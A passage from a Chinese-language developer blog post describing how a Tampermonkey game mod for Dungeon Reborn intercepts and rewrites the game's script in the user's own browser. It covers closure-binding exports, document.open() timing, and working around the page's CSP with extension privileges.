<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        Lines.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">push</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"if(!("</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> JSON</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">stringify</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(Name) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> " in window))Object.defineProperty(window,"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> JSON</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">stringify</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(Name) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span></span>
<span data-line=""><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">            ",{configurable:true,get:function(){return "</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Obf </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "}"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Writable </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">?</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> ",set:function(v){"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Obf </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "=v}"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> :</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> ""</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "});"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    }</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    Game </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Game.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">slice</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, Cut </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "try{"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Lines.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">join</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">""</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "}catch(e){console.error('[DUNGEON REBORN 外掛 v3] 匯出失敗',e)}"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Game.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">slice</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(Cut </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/4aac4ce/DungeonRebornMod.user%2Ejs#L678-L684">在 SiaoHub 檢視 siao/dungeon-reborn-mod/DungeonRebornMod.user.js L678-684</a></p>
<p>產生出來的每一行長這樣：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">Object.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">defineProperty</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(window, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"hurtPlayer"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, {</span></span>
<span data-line=""><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">  get</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">: </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">function</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> () { </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> _0x3106b7 },</span></span>
<span data-line=""><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">  set</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">: </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">function</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">v</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) { _0x3106b7 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> v }    </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// 直接改閉包裡的綁定</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">});</span></span></code></pre></figure>
<p>v2.5 的外掛本體照舊寫 <code>window.hurtPlayer = function () {…}</code>，setter 會改掉閉包裡的綁定，遊戲之後的呼叫就會走到新函式。<code>G</code> 也一樣，getter 回傳的是閉包裡當下的值。所以 <code>src/mod-core.js</code> 一行都不用改。</p>
<p>外掛裡只有載入器、v2.5 本體，還有每個 build 的「混淆名 → 名稱」對照表，總共 34 KB。<code>game.js</code> 的 hash 不在對照表裡的話，就原樣載入官方版本，畫面底部顯示「外掛尚未支援這個版本」，不會亂掛。</p>
<h3 id="2-接手頁面-document-open-不是-window-stop" class="phrased">2. 接手<wbr>頁面：<wbr>document.open，<wbr>不是 window.stop</h3>
<p>外掛用 <code>@run-at document-start</code>，一開始就同步呼叫 <code>document.open()</code>，中止原本的 HTML 解析，再把拿掉 <code>game.js</code> 的 HTML 寫回去：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (window.__DR_V3__) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">window.__DR_V3__ </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> true</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// document-start 時同步呼叫 document.open()，中止原本的 HTML 解析，換成拿掉 game.js 的版本。</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// 不能用 window.stop()：它會把 parser 標成 aborted，之後的 document.open() 依規範會被忽略，Chrome 也不會開始渲染。</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// 注意：Tampermonkey 注入時 parser 多半已經讀到 index.html 的 CSP meta，CSP 一旦套用，document.open() 也清不掉，</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// 頁面裡的 inline script / eval 都會被擋。所以遊戲與外掛本體不能用一般的 &#x3C;script> 插入，見 RunCode()。</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">document.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">open</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">();</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/4aac4ce/DungeonRebornMod.user%2Ejs#L594-L600">在 SiaoHub 檢視 siao/dungeon-reborn-mod/DungeonRebornMod.user.js L594-600</a></p>
<figure class="diagram"><svg viewBox="0.00 0.00 443.00 719.00" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;height:auto;display:block;margin:0 auto" role="img" aria-label="v3 的載入順序">
<g class="graph" transform="scale(1 1) rotate(0) translate(4 715.2)">
<polygon fill="none" stroke="none" points="-4,4 -4,-715.2 439.33,-715.2 439.33,4 -4,4"></polygon>

<g class="node">

<path fill="none" stroke="currentColor" d="M349.54,-711.2C349.54,-711.2 262.3,-711.2 262.3,-711.2 256.3,-711.2 250.3,-705.2 250.3,-699.2 250.3,-699.2 250.3,-681.6 250.3,-681.6 250.3,-675.6 256.3,-669.6 262.3,-669.6 262.3,-669.6 349.54,-669.6 349.54,-669.6 355.54,-669.6 361.54,-675.6 361.54,-681.6 361.54,-681.6 361.54,-699.2 361.54,-699.2 361.54,-705.2 355.54,-711.2 349.54,-711.2"></path>
<text text-anchor="middle" x="305.92" y="-694.6" font-family="Times,serif" font-size="14.00">document-start</text>
<text text-anchor="middle" x="305.92" y="-677.8" font-family="Times,serif" font-size="14.00">document.open()</text>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M369.38,-632.6C369.38,-632.6 242.46,-632.6 242.46,-632.6 236.46,-632.6 230.46,-626.6 230.46,-620.6 230.46,-620.6 230.46,-603 230.46,-603 230.46,-597 236.46,-591 242.46,-591 242.46,-591 369.38,-591 369.38,-591 375.38,-591 381.38,-597 381.38,-603 381.38,-603 381.38,-620.6 381.38,-620.6 381.38,-626.6 375.38,-632.6 369.38,-632.6"></path>
<text text-anchor="middle" x="305.92" y="-616" font-family="Times,serif" font-size="14.00">抓 index.html 與 game.js</text>
<text text-anchor="middle" x="305.92" y="-599.2" font-family="Times,serif" font-size="14.00">算 SHA-256</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M305.92,-669.27C305.92,-661.68 305.92,-652.85 305.92,-644.46"></path>
<polygon fill="currentColor" stroke="currentColor" points="309.42,-644.57 305.92,-634.57 302.42,-644.57 309.42,-644.57"></polygon>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M340.41,-554C340.41,-554 271.43,-554 271.43,-554 265.43,-554 259.43,-548 259.43,-542 259.43,-542 259.43,-524.4 259.43,-524.4 259.43,-518.4 265.43,-512.4 271.43,-512.4 271.43,-512.4 340.41,-512.4 340.41,-512.4 346.41,-512.4 352.41,-518.4 352.41,-524.4 352.41,-524.4 352.41,-542 352.41,-542 352.41,-548 346.41,-554 340.41,-554"></path>
<text text-anchor="middle" x="305.92" y="-537.4" font-family="Times,serif" font-size="14.00">寫回 HTML</text>
<text text-anchor="middle" x="305.92" y="-520.6" font-family="Times,serif" font-size="14.00">(拿掉 game.js)</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M305.92,-590.67C305.92,-583.08 305.92,-574.25 305.92,-565.86"></path>
<polygon fill="currentColor" stroke="currentColor" points="309.42,-565.97 305.92,-555.97 302.42,-565.97 309.42,-565.97"></polygon>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M294.04,-473.75C294.04,-473.75 188.39,-459.05 188.39,-459.05 182.45,-458.23 182.45,-456.57 188.39,-455.75 188.39,-455.75 294.04,-441.05 294.04,-441.05 299.98,-440.23 311.86,-440.23 317.81,-441.05 317.81,-441.05 423.45,-455.75 423.45,-455.75 429.39,-456.57 429.39,-458.23 423.45,-459.05 423.45,-459.05 317.81,-473.75 317.81,-473.75 311.86,-474.57 299.98,-474.57 294.04,-473.75"></path>
<text text-anchor="middle" x="305.92" y="-453.2" font-family="Times,serif" font-size="14.00">有這個 hash 的對照表？</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M305.92,-512.03C305.92,-504.26 305.92,-495.23 305.92,-486.82"></path>
<polygon fill="currentColor" stroke="currentColor" points="309.42,-487.05 305.92,-477.05 302.42,-487.05 309.42,-487.05"></polygon>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M286.5,-386.6C286.5,-386.6 181.34,-386.6 181.34,-386.6 175.34,-386.6 169.34,-380.6 169.34,-374.6 169.34,-374.6 169.34,-362.6 169.34,-362.6 169.34,-356.6 175.34,-350.6 181.34,-350.6 181.34,-350.6 286.5,-350.6 286.5,-350.6 292.5,-350.6 298.5,-356.6 298.5,-362.6 298.5,-362.6 298.5,-374.6 298.5,-374.6 298.5,-380.6 292.5,-386.6 286.5,-386.6"></path>
<text text-anchor="middle" x="233.92" y="-364.4" font-family="Times,serif" font-size="14.00">IIFE 結尾插入匯出程式</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M293.05,-440.88C282.66,-428.36 267.83,-410.48 255.62,-395.75"></path>
<polygon fill="currentColor" stroke="currentColor" points="258.46,-393.7 249.38,-388.24 253.07,-398.17 258.46,-393.7"></polygon>
<text text-anchor="middle" x="281.62" y="-408.8" font-family="Times,serif" font-size="14.00">有</text>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M322.25,-41.6C322.25,-41.6 241.59,-41.6 241.59,-41.6 235.59,-41.6 229.59,-35.6 229.59,-29.6 229.59,-29.6 229.59,-12 229.59,-12 229.59,-6 235.59,0 241.59,0 241.59,0 322.25,0 322.25,0 328.25,0 334.25,-6 334.25,-12 334.25,-12 334.25,-29.6 334.25,-29.6 334.25,-35.6 328.25,-41.6 322.25,-41.6"></path>
<text text-anchor="middle" x="281.92" y="-25" font-family="Times,serif" font-size="14.00">載入原版 game.js</text>
<text text-anchor="middle" x="281.92" y="-8.2" font-family="Times,serif" font-size="14.00">顯示提示</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M319.97,-441.06C333.5,-424.65 351.92,-397.23 351.92,-369.6 351.92,-369.6 351.92,-369.6 351.92,-135 351.92,-102.51 330.8,-71.55 311.76,-50.25"></path>
<polygon fill="currentColor" stroke="currentColor" points="314.49,-48.05 305.1,-43.13 309.37,-52.82 314.49,-48.05"></polygon>
<text text-anchor="middle" x="362.42" y="-267.8" font-family="Times,serif" font-size="14.00">沒有</text>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M146.32,-310.54C146.32,-310.54 11.6,-275.06 11.6,-275.06 5.8,-273.53 5.8,-270.47 11.6,-268.94 11.6,-268.94 146.32,-233.46 146.32,-233.46 152.12,-231.93 163.72,-231.93 169.53,-233.46 169.53,-233.46 304.24,-268.94 304.24,-268.94 310.04,-270.47 310.04,-273.53 304.24,-275.06 304.24,-275.06 169.53,-310.54 169.53,-310.54 163.72,-312.07 152.12,-312.07 146.32,-310.54"></path>
<text text-anchor="middle" x="157.92" y="-276.2" font-family="Times,serif" font-size="14.00">GM_addElement 放進頁面</text>
<text text-anchor="middle" x="157.92" y="-259.4" font-family="Times,serif" font-size="14.00">0.5 秒內有執行？</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M219.98,-350.25C212.12,-340.46 201.92,-327.77 192.07,-315.51"></path>
<polygon fill="currentColor" stroke="currentColor" points="194.94,-313.49 185.95,-307.89 189.49,-317.88 194.94,-313.49"></polygon>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M183.5,-173.92C183.5,-173.92 77.21,-139.68 77.21,-139.68 71.5,-137.84 71.5,-134.16 77.21,-132.32 77.21,-132.32 183.5,-98.08 183.5,-98.08 189.21,-96.24 200.63,-96.24 206.34,-98.08 206.34,-98.08 312.63,-132.32 312.63,-132.32 318.34,-134.16 318.34,-137.84 312.63,-139.68 312.63,-139.68 206.34,-173.92 206.34,-173.92 200.63,-175.76 189.21,-175.76 183.5,-173.92"></path>
<text text-anchor="middle" x="194.92" y="-140.2" font-family="Times,serif" font-size="14.00">Tampermonkey 沙盒</text>
<text text-anchor="middle" x="194.92" y="-123.4" font-family="Times,serif" font-size="14.00">new Function</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M168.42,-232.96C172.48,-218.27 177.17,-201.27 181.47,-185.7"></path>
<polygon fill="currentColor" stroke="currentColor" points="184.83,-186.7 184.12,-176.13 178.08,-184.84 184.83,-186.7"></polygon>
<text text-anchor="middle" x="183.89" y="-199.8" font-family="Times,serif" font-size="14.00">否</text>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M190.16,-38.8C190.16,-38.8 75.68,-38.8 75.68,-38.8 69.68,-38.8 63.68,-32.8 63.68,-26.8 63.68,-26.8 63.68,-14.8 63.68,-14.8 63.68,-8.8 69.68,-2.8 75.68,-2.8 75.68,-2.8 190.16,-2.8 190.16,-2.8 196.16,-2.8 202.16,-8.8 202.16,-14.8 202.16,-14.8 202.16,-26.8 202.16,-26.8 202.16,-32.8 196.16,-38.8 190.16,-38.8"></path>
<text text-anchor="middle" x="132.92" y="-16.6" font-family="Times,serif" font-size="14.00">同一邊載入 mod-core.js</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M107.8,-243.18C84.54,-227.3 59.24,-205.06 46.42,-177.6 30.78,-144.09 30.8,-127.91 46.42,-94.4 55.86,-74.16 74.02,-57.56 91.28,-45.36"></path>
<polygon fill="currentColor" stroke="currentColor" points="93.09,-48.36 99.45,-39.89 89.2,-42.55 93.09,-48.36"></polygon>
<text text-anchor="middle" x="51.67" y="-131.8" font-family="Times,serif" font-size="14.00">是</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M175.81,-100.11C166.79,-83.64 156.19,-64.29 147.78,-48.94"></path>
<polygon fill="currentColor" stroke="currentColor" points="150.96,-47.45 143.09,-40.36 144.82,-50.81 150.96,-47.45"></polygon>
<text text-anchor="middle" x="172.56" y="-63.8" font-family="Times,serif" font-size="14.00">成功</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M220.08,-102.26C232.59,-85.99 247.56,-66.51 259.64,-50.79"></path>
<polygon fill="currentColor" stroke="currentColor" points="262.14,-53.28 265.46,-43.22 256.59,-49.02 262.14,-53.28"></polygon>
<text text-anchor="middle" x="278.89" y="-63.8" font-family="Times,serif" font-size="14.00">EvalError</text>
</g>
</g>
</svg><figcaption>v3 的載入順序</figcaption></figure>
<details><summary>window.stop() 之後畫面完全不動</summary><p>一開始的寫法是先 <code>window.stop()</code> 停下載入，等抓完 HTML 再 <code>document.open()</code>。結果頁面是空的，<code>requestAnimationFrame</code> 一次都沒觸發，截圖工具也逾時。</p><p>原因在規範裡：<code>window.stop()</code> 會把 parser 標成 aborted，之後的 <code>document.open()</code> 會直接被忽略。改成用 DOMParser 把整棵 <code>documentElement</code> 換掉，內容出現了，但 Chrome 不會開始渲染，rAF 還是不動。</p><p>最後改成在 document-start 當下同步呼叫 <code>document.open()</code>，不用 <code>window.stop()</code>。這時候腳本不是 parser 執行的（script nesting level 是 0），<code>document.open()</code> 有效，而且它本身就會中止原本的解析。</p></details>
<h3 id="3-csp-拿不掉-3-0-0-裝了遊戲無法開始" class="phrased">3. CSP 拿<wbr>不掉：<wbr>3.0.0 裝了<wbr>遊戲<wbr>無法<wbr>開始</h3>
<p>3.0.0 的想法是：CSP 寫在 <code>index.html</code> 的 meta 裡，只要 parser 還沒讀到它就不會生效，所以在 document-start 當下 <code>document.open()</code>，寫回去的 HTML 不含 CSP meta，再用一般的 <code>&#x3C;script></code> 插入改過的 <code>game.js</code>。</p>
<p>推上去之後，裝了外掛的人按「開始遊戲」沒有任何反應，Console 也沒有錯誤。在 Chrome 裡用真正的 Tampermonkey 重現：面板有出現，DOM 裡也沒有 CSP meta，但 <code>G</code> 不存在，遊戲根本沒執行。在頁面裡插一個 inline script 測試，觸發的是 <code>script-src-elem</code> 違規，CSP 還在。</p>
<p>原因是 Tampermonkey 實際注入的時間比我以為的晚。CSP meta 在 <code>&#x3C;head></code> 第 6 行，外掛執行時 parser 多半已經讀過它；CSP 一旦套用就記在文件上，之後 <code>document.open()</code> 換掉內容、刪掉 meta 都清不掉。CSP 生效之後，<code>script-src 'self'</code> 底下的 inline script、<code>eval</code>、<code>new Function</code>、blob URL 都跑不了，在頁面這一邊沒有任何辦法執行抓回來的程式碼。</p>
<p>3.1.0 改用擴充功能的權限：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// 依序嘗試：</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// 1. GM_addElement 插入頁面：Tampermonkey 以擴充功能權限插入，不受頁面 CSP 限制，遊戲與外掛跑在頁面裡，Console 也摸得到 G。</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// 2. 在 Tampermonkey 的沙盒裡用 new Function 執行：沙盒的 CSP 是擴充功能自己的，允許 eval。</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// 兩個都不行就回傳 false，由呼叫端退回原版遊戲。</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">async</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> function</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> RunCode</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">Code</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">Url</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> Text</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Code </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">//# sourceURL="</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Url;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Mode </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!==</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "sandbox"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        try</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Mode </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">===</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> null</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">Root</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">().</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">setAttribute</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"data-dr-run"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"page"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">            // 執行成功的話，程式會把標記改成 page-ok</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> Probe</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Mode </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">===</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> null</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> ?</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "document.documentElement.setAttribute('data-dr-run','page-ok');"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> :</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> ""</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">            GM_addElement</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(document.body </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> Root</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(), </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"script"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, { textContent: (Mode </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">===</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> null</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> ?</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Guard </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">:</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> ""</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Probe </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Text });</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Mode </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">===</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> null</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">let</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> I</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">I</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> &#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 20</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> &#x26;&#x26;</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> Root</span><span 